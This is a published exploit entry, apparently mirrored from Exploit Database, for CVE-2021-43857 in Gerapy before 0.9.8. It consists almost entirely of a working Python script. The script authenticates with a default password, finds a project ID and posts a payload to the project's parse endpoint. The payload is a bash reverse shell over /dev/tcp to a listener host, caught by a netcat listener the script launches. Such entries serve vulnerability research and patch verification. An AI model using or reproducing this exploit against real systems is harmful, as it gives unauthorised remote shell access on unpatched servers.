Gerapy 0.9.7 – Remote Code Execution (RCE) (Authenticated)

Exploit Database
109 阅读

作者： Jeremiasz Pluta

日期： 2022-01-05
类别：
- remote
平台：
- Python
来源：https://www.exploit-db.com/exploits/50640/

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# Exploit Title: Gerapy 0.9.7 - Remote Code Execution (RCE) (Authenticated)

# Date: 03/01/2022

# Exploit Author: Jeremiasz Pluta

# Vendor Homepage: https://github.com/Gerapy/Gerapy

# Version: All versions of Gerapy prior to 0.9.8

# CVE: CVE-2021-43857

# Tested on: Gerapy 0.9.6

# Vulnerability: Gerapy prior to version 0.9.8 is vulnerable to remote code execution. This issue is patched in version 0.9.8.

#!/usr/bin/python

import sys

import re

import argparse

import pyfiglet

import requests

import time

import json

import subprocess

banner = pyfiglet.figlet_format("CVE-2021-43857")

print(banner)

print('Exploit for CVE-2021-43857')

print('For: Gerapy < 0.9.8')

password = "admin" #CHANGE ME IF NEEDED

class Exploit:

def __init__(self, target_ip, target_port, localhost, localport):

self.target_ip = target_ip

self.target_port = target_port

self.localhost = localhost

self.localport = localport

def exploitation(self):

payload = """{"spider":"<code>/bin/bash -c 'bash -i >& /dev/tcp/""" + localhost + """/""" + localport + """ 0>&1'</code>"}"""

#Login to the app (getting auth token)

url = "http://" + target_ip + ":" + target_port

r = requests.Session()

print("[*] Resolving URL...")

r1 = r.get(url)

time.sleep(3)

print("[*] Logging in to application...")

r2 = r.post(url + "/api/user/auth", json={"username":login,"password":password}, allow_redirects=True)

time.sleep(3)

if (r2.status_code == 200):

print('[*] Login successful! Proceeding...')

else:

print('[*] Something went wrong!')

quit()

#Create a header out of auth token (yep, it's bad as it looks)

dict = json.loads(r2.text)

temp_token = 'Token '

temp_token2 = json.dumps(dict['token']).strip('"')

auth_token = {}

auth_token['Authorization'] = temp_token + temp_token2

#Get the project list

print("[*] Getting the project list")

r3 = r.get(url + "/api/project/index", headers=auth_token, allow_redirects=True)

time.sleep(3)

if (r3.status_code != 200):

print("[!] Something went wrong! Maybe the token is corrupted?")

quit();

#Parse the project name for a request (yep, it's worse than earlier)

dict = r3.text # [{'name': 'test'}]

dict2 = json.dumps(dict)

dict3 = json.loads(dict2)

dict3 = json.loads(dict3)

name = dict3[0]['name']

print("[*] Found project: " + name)

#use the id to check the project

print("[*] Getting the ID of the project to build the URL")

r4 = r.get(url + "/api/project/" + name + "/build", headers=auth_token, allow_redirects=True)

time.sleep(3)

if (r4.status_code != 200):

print("[*] Something went wrong! I can't reach the found project!")

quit();

#format the json to dict

dict = r4.text

dict2 = json.dumps(dict)

dict3 = json.loads(dict2)

dict3 = json.loads(dict3)

id = dict3['id']

print("[*] Found ID of the project: ", id)

time.sleep(1)

#netcat listener

print("[*] Setting up a netcat listener")

listener = subprocess.Popen(["nc", "-nvlp", self.localport])

time.sleep(3)

#exec the payload

print("[*] Executing reverse shell payload")

print("[*] Watchout for shell! :)")

r5 = r.post(url + "/api/project/" + str(id) + "/parse", data=payload, headers=auth_token, allow_redirects=True)

listener.wait()

if (r5.status_code == 200):

print("[*] It worked!")

listener.wait()

else:

print("[!] Something went wrong!")

listener.terminate()

def get_args():

parser = argparse.ArgumentParser(description='Gerapy < 0.9.8 - Remote Code Execution (RCE) (Authenticated)')

parser.add_argument('-t', '--target', dest="url", required=True, action='store', help='Target IP')

parser.add_argument('-p', '--port', dest="target_port", required=True, action='store', help='Target port')

parser.add_argument('-L', '--lh', dest="localhost", required=True, action='store', help='Listening IP')

parser.add_argument('-P', '--lp', dest="localport", required=True, action='store', help='Listening port')

args = parser.parse_args()

return args

args = get_args()

target_ip = args.url

target_port = args.target_port

localhost = args.localhost

localport = args.localport

exp = Exploit(target_ip, target_port, localhost, localport)

exp.exploitation()